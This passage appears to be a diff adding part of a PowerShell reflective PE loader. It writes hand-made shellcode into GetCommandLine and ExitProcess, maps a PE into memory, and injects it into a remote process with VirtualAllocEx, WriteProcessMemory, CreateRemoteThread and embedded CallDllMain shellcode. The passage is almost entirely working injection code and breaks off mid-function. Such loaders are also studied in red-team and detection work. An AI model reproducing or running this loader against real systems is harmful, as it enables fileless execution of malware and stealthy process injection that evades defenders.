[IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + [IntPtr]$LoadAddr = [IntPtr]::Zero + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, 